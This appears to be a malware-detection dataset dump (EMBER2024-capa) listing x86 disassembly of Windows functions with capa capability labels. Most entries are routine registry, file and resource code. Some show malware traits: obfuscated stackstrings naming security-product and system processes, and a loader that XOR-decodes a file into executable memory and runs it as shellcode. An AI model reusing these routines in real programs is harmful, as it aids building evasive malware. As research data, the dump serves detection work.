joyce8/EMBER2024-capa huggingface dataset:
Function at 0x461850
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x486f7f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
mov eax, dword [0x49a3b0]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x1c], 0
mov dword [esp + 0x10], eax
mov eax, dword [ecx + 4]
mov edi, dword [ecx]
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x28], 1
test ecx, ecx
mov dword [esp + 0x14], edi
je 0x4618bb
lea edx, [esp + 0x18]
or eax, 0x20019
push edx
push eax
push 0
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
mov eax, dword [esp + 0x18]
neg esi
sbb esi, esi
not esi
and esi, eax
jmp 0x4618bd
mov esi, edi
test esi, esi
je 0x461987
mov ebx, dword [esp + 0x38]
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x3c]
push 0
push ecx
push 0
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x46197c
mov eax, dword [esp + 0x38]
cmp eax, 1
je 0x4618ff
cmp eax, 2
je 0x4618ff
cmp eax, 6
je 0x4618ff
cmp eax, 7
jne 0x46197c
mov edx, dword [esp + 0x34]
add edx, 2
push edx
call fcn.0046c1d2
mov ebp, eax
mov eax, dword [esp + 0x38]
mov edi, ebp
add esp, 4
lea ecx, [eax + 2]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 0x34]
push eax
push ebp
push 0
push 0
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
push ebp
jne 0x461962
lea ecx, [esp + 0x14]
call fcn.00470ce0
cmp esi, dword [esp + 0x14]
je 0x461957
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebp
call fcn.0046c1fb
add esp, 4
jmp 0x461999
call fcn.0046c1fb
add esp, 4
lea ecx, [esp + 0x10]
push 0x489fdc
call fcn.00470ce0
mov edi, dword [esp + 0x14]
cmp esi, edi
je 0x461987
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x3c]
test eax, eax
je 0x461999
push eax
lea ecx, [esp + 0x14]
call fcn.00470ce0
mov esi, dword [esp + 0x30]
lea ecx, [esp + 0x10]
push ecx
mov ecx, esi
call fcn.004708b6
mov dword [esp + 0x1c], 1
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 0
call fcn.00470b49
mov ecx, dword [esp + 0x20]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret 0x10
Function at 0x461ae0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
test eax, eax
je 0x461b17
mov edx, dword [ebp + 0x14]
lea ecx, [ebp + 0xc]
or edx, 0x20019
push ecx
push edx
push 0
push eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
mov eax, dword [ebp + 0xc]
neg esi
sbb esi, esi
not esi
and esi, eax
jmp 0x461b1a
mov esi, dword [ebp + 8]
test esi, esi
je 0x461ccd
call fcn.00464960
test eax, eax
je 0x461bc5
mov eax, dword [ebp + 0x10]
lea ecx, [ebp + 0xc]
push ecx
lea edx, [ebp + 0x14]
push 0
push edx
push 0
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x461cc1
mov eax, dword [ebp + 0x14]
cmp eax, 1
je 0x461b69
cmp eax, 2
je 0x461b69
cmp eax, 6
je 0x461b69
cmp eax, 7
jne 0x461cc1
mov ecx, dword [ebp + 0xc]
add ecx, 2
push ecx
call fcn.0046c1d2
mov edx, dword [ebp + 0xc]
mov ebx, eax
xor eax, eax
mov edi, ebx
lea ecx, [edx + 2]
add esp, 4
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [ebp + 0x10]
lea eax, [ebp + 0xc]
push eax
push ebx
push 0
push 0
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
push ebx
jne 0x461cac
mov ecx, dword [ebp + 0x18]
call fcn.00452c10
cmp esi, dword [ebp + 8]
je 0x461c96
jmp 0x461c8f
mov eax, dword [ebp + 0x10]
test eax, eax
jne 0x461bd1
mov dword [ebp + 0x10], eax
jmp 0x461c06
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ebx, [eax + eax + 2]
mov eax, ebx
add eax, 3
and al, 0xfc
call fcn.0040dd50
mov edx, dword [ebp + 0x10]
mov edi, esp
push 0
push 0
push ebx
push edi
push 0xffffffffffffffff
push edx
push 0
push 0
mov byte [edi], 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp + 0x10], edi
mov edx, dword [ebp + 0x10]
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp + 0x14]
push 0
push ecx
push 0
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x461cc1
mov eax, dword [ebp + 0x14]
cmp eax, 1
je 0x461c40
cmp eax, 2
je 0x461c40
cmp eax, 6
je 0x461c40
cmp eax, 7
jne 0x461cc1
mov eax, dword [ebp + 0xc]
add eax, 2
push eax
call fcn.0046c1d2
mov ecx, dword [ebp + 0xc]
mov ebx, eax
add ecx, 2
xor eax, eax
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
add esp, 4
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [ebp + 0x10]
lea eax, [ebp + 0xc]
push eax
push ebx
push 0
push 0
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
push ebx
jne 0x461cac
mov ecx, dword [ebp + 0x18]
call fcn.00452ce0
cmp esi, dword [ebp + 8]
je 0x461c96
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call fcn.0046c1fb
add esp, 4
mov eax, 1
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret
call fcn.0046c1fb
mov ecx, dword [ebp + 0x18]
add esp, 4
push 0x489fdc
call fcn.00452c10
cmp esi, dword [ebp + 8]
je 0x461ccd
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea esp, [ebp - 0xc]
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x462710
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x487048
push eax
mov eax, dword [ebp + 0xc]
mov dword fs:[0], esp
push ebx
push esi
test eax, eax
push edi
je 0x462766
lea ecx, [ebp + 0x14]
mov ebx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp + 0x14]
lea edx, [ebp + 0xc]
or ecx, 0x20006
push edx
push 0
push ecx
push 0
push 0
push 0
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, eax
mov eax, dword [ebp + 0xc]
neg esi
sbb esi, esi
not esi
and esi, eax
jmp 0x46276b
mov esi, dword [ebp + 8]
mov ebx, esi
test esi, esi
je 0x46285a
call fcn.00464960
test eax, eax
je 0x4627ba
mov edi, dword [ebp + 0x18]
push edi
call fcn.0040ed20
add esp, 4
lea edx, [eax + eax + 2]
mov eax, dword [ebp + 0x10]
push edx
push edi
push 1
push 0
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x46284f
cmp esi, ebx
je 0x4627b0
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x46285c
mov eax, dword [ebp + 0x10]
test eax, eax
jne 0x4627c5
xor edi, edi
jmp 0x4627fa
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ebx, [eax + eax + 2]
mov eax, ebx
add eax, 3
and al, 0xfc
call fcn.0040dd50
mov ecx, dword [ebp + 0x10]
mov edi, esp
push 0
push 0
push ebx
push edi
push 0xffffffffffffffff
push ecx
push 0
push 0
mov byte [edi], 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, dword [ebp + 8]
mov edx, dword [ebp + 0x18]
lea ecx, [ebp + 0xc]
push edx
call fcn.0044c990
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax - 8]
inc ecx
push ecx
push eax
push 1
push 0
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x462840
cmp esi, ebx
je 0x46282a
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp + 0xc]
mov dword [ebp - 4], 0xffffffff
call fcn.0044d1a0
mov eax, 1
jmp 0x46285c
lea ecx, [ebp + 0xc]
mov dword [ebp - 4], 0xffffffff
call fcn.0044d1a0
cmp esi, ebx
je 0x46285a
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov ecx, dword [ebp - 0xc]
lea esp, [ebp - 0x18]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4634d0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
sub esp, 8
lea eax, [esp + 0xc]
lea ecx, [esp]
push ebx
push ebp
push esi
push edi
push 0
push 0
mov ebx, dword [esp + 0x24]
push 0
push 0
push 0
push 0
push eax
push ecx
push 0
push 0
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x46364d
mov eax, dword [esp + 0x10]
test eax, eax
je 0x46362c
mov eax, dword [esp + 0x1c]
cmp eax, 0x104
jae 0x463526
mov eax, 0x104
mov dword [esp + 0x1c], eax
lea edx, [eax + eax + 2]
push edx
call fcn.0046c1d2
mov esi, eax
add esp, 4
test esi, esi
je 0x46364d
mov eax, dword [esp + 0x1c]
mov edi, esi
lea ecx, [eax + eax + 2]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x1c]
inc eax
push eax
push esi
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
test eax, eax
jne 0x463644
mov ebp, dword [esp + 0x20]
mov eax, ebp
or eax, 0x2001f
mov dword [esp + 0x14], eax
lea ecx, [esp + 0x20]
push ecx
push eax
push 0
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x463644
mov edi, dword [esp + 0x20]
test edi, edi
je 0x463644
push ebp
push edi
call fcn.004634d0
add esp, 8
test eax, eax
je 0x463639
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x4a42a4]
test eax, eax
je 0x4635d5
test ebp, ebp
je 0x4635d5
push 0
push ebp
push esi
push ebx
call eax
test eax, eax
jne 0x463644
jmp 0x4635e1
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x463644
mov eax, dword [esp + 0x10]
dec eax
mov dword [esp + 0x10], eax
je 0x463623
mov edx, dword [esp + 0x1c]
xor eax, eax
mov edi, esi
lea ecx, [edx + edx + 2]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x1c]
inc eax
push eax
push esi
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
test eax, eax
jne 0x463644
mov eax, dword [esp + 0x14]
jmp 0x46357e
push esi
call fcn.0046c1fb
add esp, 4
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 8
ret
test edi, edi
je 0x463644
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call fcn.0046c1fb
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
Function at 0x46db46
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x46db7e
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00471007
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00470fde
jmp 0x46db8a
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x46f94b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x46f98d
call fcn.0047c85f
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
cmp eax, edi
je 0x46f98d
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x46f984
xor eax, eax
jmp 0x46f995
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0046f99b
pop edi
pop esi
pop ebx
ret 4
Function at 0x4722c7
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push edi
push dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x4722f7
push edi
call ebx
push eax
call fcn.0047374f
push esi
mov esi, dword [ebp + 0xc]
movzx eax, byte [esi + 0x10]
cmp eax, dword [ebp - 4]
je 0x472321
test byte [ebp - 4], 1
je 0x472321
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x472321
push edi
call ebx
push eax
call fcn.0047374f
cmp dword [esi + 4], edi
lea eax, [esi + 4]
je 0x4723c7
lea ecx, [ebp - 0x24]
push ecx
push eax
call fcn.00472214
cmp dword [esi + 8], edi
lea eax, [esi + 8]
pop ecx
pop ecx
je 0x472353
lea ecx, [ebp - 0x14]
push ecx
push eax
call fcn.00472214
pop ecx
lea eax, [ebp - 0x14]
pop ecx
mov dword [ebp - 8], eax
cmp dword [esi], edi
je 0x472369
lea eax, [ebp - 0x1c]
push eax
push esi
call fcn.00472214
pop ecx
lea eax, [ebp - 0x1c]
pop ecx
mov dword [ebp - 0xc], eax
push edi
push 0x80
push 3
push edi
push 1
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x472393
push 0
call ebx
push eax
call fcn.0047374f
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x4723b1
push eax
call ebx
push eax
call fcn.0047374f
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x4723c5
push eax
call ebx
push eax
call fcn.0047374f
xor edi, edi
movzx eax, byte [esi + 0x10]
cmp eax, dword [ebp - 4]
pop esi
je 0x4723ee
test byte [ebp - 4], 1
jne 0x4723ee
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x4723ee
push edi
call ebx
push eax
call fcn.0047374f
pop edi
pop ebx
leave
ret 8
Function at 0x40d248
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov edi, 0x10001bdc
push edi
call fcn.0040e55c
test eax, eax
pop ecx
ja 0x40d38b
lea eax, [ebp - 0x24]
xor ebx, ebx
push eax
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 4], ebx
mov byte [ebp - 0x14], 0x49
mov byte [ebp - 0x13], 0x70
mov byte [ebp - 0x12], 0x68
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x70
mov byte [ebp - 0xf], 0x61
mov byte [ebp - 0xe], 0x70
mov byte [ebp - 0xd], 0x69
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6c
mov byte [ebp - 8], bl
mov byte [ebp - 0x24], 0x47
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x41
mov byte [ebp - 0x20], 0x64
mov byte [ebp - 0x1f], 0x61
mov byte [ebp - 0x1e], 0x70
mov byte [ebp - 0x1d], 0x74
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x73
mov byte [ebp - 0x19], 0x49
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x66
mov byte [ebp - 0x16], 0x6f
mov byte [ebp - 0x15], bl
call dword [0x10003030]
push eax
call dword [0x10003050]
mov esi, eax
lea eax, [ebp - 4]
push eax
dec esi
push ebx
call esi
cmp eax, ebx
jne 0x40d330
movzx eax, byte [0x199]
push eax
movzx eax, byte [0x198]
push eax
movzx eax, byte [0x197]
push eax
movzx eax, byte [0x196]
push eax
movzx eax, byte [0x195]
push eax
movzx eax, byte [0x194]
jmp 0x40d37b
cmp eax, 0x6f
jne 0x40d38b
push dword [ebp - 4]
call dword [0x10003100]
mov ebx, eax
pop ecx
lea eax, [ebp - 4]
push eax
push ebx
call esi
test eax, eax
jne 0x40d38b
movzx eax, byte [ebx + 0x199]
push eax
movzx eax, byte [ebx + 0x198]
push eax
movzx eax, byte [ebx + 0x197]
push eax
movzx eax, byte [ebx + 0x196]
push eax
movzx eax, byte [ebx + 0x195]
push eax
movzx eax, byte [ebx + 0x194]
push eax
push 0x10003a94
push edi
call dword [0x1000315c]
add esp, 0x20
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40dc1d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edi, dword [0x1000302c]
mov ebx, 0x10002054
push 0x104
push ebx
push 0
call edi
mov esi, 0x88886666
cmp dword [ebp + 0xc], esi
jne 0x40dc56
push dword [ebp + 0x10]
push 0x10001f50
call fcn.0040e56e
pop ecx
pop ecx
jmp 0x40dc65
push 0x104
push 0x10001f50
push dword [ebp + 8]
call edi
and byte [ebp - 0x14], 0
and byte [ebp - 4], 0
cmp dword [ebp + 0xc], esi
mov byte [ebp - 0x20], 0x65
mov byte [ebp - 0x1f], 0x78
mov byte [ebp - 0x1e], 0x70
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1c], 0x6f
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], 0x72
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x78
mov byte [ebp - 0x15], 0x65
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x64
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x78
mov byte [ebp - 5], 0x65
je 0x40dd13
push ebx
call dword [0x100030f8]
mov esi, dword [0x10003128]
lea eax, [ebp - 0x10]
push eax
push ebx
call esi
add esp, 0xc
test eax, eax
jne 0x40dd03
lea eax, [ebp - 0x20]
push eax
push ebx
call esi
pop ecx
test eax, eax
pop ecx
jne 0x40dd03
call fcn.0040dbd6
xor eax, eax
jmp 0x40dd22
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040e0f6
jmp 0x40dd22
push 0
push 1
push dword [ebp + 8]
call fcn.0040e0f6
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40e0f6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
push ebx
push edi
push 0x3e
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x111]
mov byte [ebp - 0x11c], 0x63
mov byte [ebp - 0x11b], 0x6f
mov byte [ebp - 0x11a], 0x6e
mov byte [ebp - 0x119], 0x66
mov byte [ebp - 0x118], 0x69
mov byte [ebp - 0x117], 0x67
mov byte [ebp - 0x116], 0x2e
mov byte [ebp - 0x115], 0x65
mov byte [ebp - 0x114], 0x78
mov byte [ebp - 0x113], 0x65
mov byte [ebp - 0x112], bl
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x21a]
cmp dword [ebp + 0xc], 1
mov byte [ebp - 0x220], 0x73
mov byte [ebp - 0x21f], 0x6f
mov byte [ebp - 0x21e], 0x67
mov byte [ebp - 0x21d], 0x6f
mov byte [ebp - 0x21c], 0x75
mov byte [ebp - 0x21b], bl
mov byte [ebp - 0xc], 0x33
rep stosd dword es:[edi], eax
mov byte [ebp - 0xb], 0x36
mov byte [ebp - 0xa], 0x30
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x61
mov byte [ebp - 7], 0x66
mov byte [ebp - 6], 0x65
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], 0x78
mov byte [ebp - 2], 0x65
mov byte [ebp - 1], bl
mov byte [ebp - 0x18], 0x33
mov byte [ebp - 0x17], 0x36
mov byte [ebp - 0x16], 0x30
mov byte [ebp - 0x15], 0x74
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x61
mov byte [ebp - 0x12], 0x79
mov byte [ebp - 0x11], 0x2e
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x78
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], bl
stosw word es:[edi], ax
jne 0x40e345
push esi
call dword [0x100030b4]
push eax
lea eax, [ebp - 0x324]
push 0x10003b90
push eax
call dword [0x1000315c]
add esp, 0xc
lea eax, [ebp - 0x324]
push eax
push 1
push ebx
call dword [0x100030d8]
mov edi, dword [0x1000302c]
mov esi, 0x104
push esi
push 0x10001f50
push dword [ebp + 8]
mov dword [0x10002158], eax
call edi
push esi
mov esi, 0x10002054
push esi
push ebx
call edi
mov edi, dword [0x100030f8]
push esi
call edi
mov dword [esp], 0x10001f50
call edi
mov edi, dword [0x10003128]
lea eax, [ebp - 0xc]
push eax
push esi
call edi
add esp, 0xc
test eax, eax
je 0x40e29b
push ebx
call dword [0x10003088]
push ebx
call dword [0x1000304c]
push eax
call dword [0x1000308c]
push 0x100075c9
call dword [0x1000309c]
mov byte [0], bl
lea eax, [ebp - 0x18]
push eax
push esi
call edi
pop ecx
test eax, eax
pop ecx
je 0x40e2ce
push ebx
call dword [0x1000304c]
push eax
call dword [0x1000308c]
push ebx
call dword [0x10003088]
push 0x100075c9
call dword [0x1000309c]
mov byte [0], bl
lea eax, [ebp - 0x11c]
push eax
push esi
call edi
pop ecx
test eax, eax
pop ecx
je 0x40e314
lea eax, [ebp - 0x220]
push eax
push esi
call edi
pop ecx
test eax, eax
pop ecx
je 0x40e314
push ebx
call dword [0x1000304c]
push eax
call dword [0x1000308c]
push ebx
call dword [0x10003088]
push 0x100075c9
call dword [0x1000309c]
mov byte [0], bl
push 0x20
mov esi, 0x1000215c
push ebx
push esi
call fcn.0040e53a
push esi
call fcn.0040ddb0
add esp, 0x10
push ebx
push ebx
push dword [ebp + 8]
push 0x1000783e
push ebx
push ebx
call dword [0x10003080]
push eax
call dword [0x100030c4]
pop esi
push 1
pop eax
pop edi
pop ebx
leave
ret 0xc
Function at 0x485164
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0046ea69
and dword [ebp - 4], 0
cmp dword [0x4c8398], 0
mov ebx, eax
jne 0x485215
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4852c6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4b4ec4
push edi
call esi
test eax, eax
je 0x4852c6
push eax
call fcn.0046e9f7
mov dword [esp], 0x4b4eb4
push edi
mov dword [0x4c8398], eax
call esi
push eax
call fcn.0046e9f7
mov dword [esp], 0x4b4ea0
push edi
mov dword [0x4c839c], eax
call esi
push eax
call fcn.0046e9f7
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4c83a0], eax
call esi
push eax
call fcn.0046e9f7
pop ecx
mov dword [0x4c83a8], eax
test eax, eax
je 0x485215
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0046e9f7
pop ecx
mov dword [0x4c83a4], eax
mov eax, dword [0x4c83a4]
cmp eax, ebx
je 0x48526d
cmp dword [0x4c83a8], ebx
je 0x48526d
push eax
call fcn.0046ea72
push dword [0x4c83a8]
mov esi, eax
call fcn.0046ea72
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x48526d
test edi, edi
je 0x48526d
call esi
test eax, eax
je 0x485264
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x485264
test byte [ebp - 0xc], 1
jne 0x48526d
or dword [ebp + 0x10], 0x200000
jmp 0x4852a6
mov eax, dword [0x4c839c]
cmp eax, ebx
je 0x4852a6
push eax
call fcn.0046ea72
pop ecx
test eax, eax
je 0x4852a6
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4852a6
mov eax, dword [0x4c83a0]
cmp eax, ebx
je 0x4852a6
push eax
call fcn.0046ea72
pop ecx
test eax, eax
je 0x4852a6
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4c8398]
call fcn.0046ea72
pop ecx
test eax, eax
je 0x4852c6
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4852c8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0xbd3d00], 1
mov dword [0xbd3cfc], 1
mov dword [0xbd3cf8], 1
mov dword [0xbd3cf0], 1
jne 0x401060
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010c0
mov dword [0x5ce014], eax
mov eax, dword [0xbd3d0c]
test eax, eax
je 0x4010b0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0xbd3d20]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0xbd3d08]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x58b7c4], 1
je 0x4010f0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x40107a
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401060
cmp dword [ecx + 0x84], 0xe
jbe 0x401060
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401060
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401060
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401060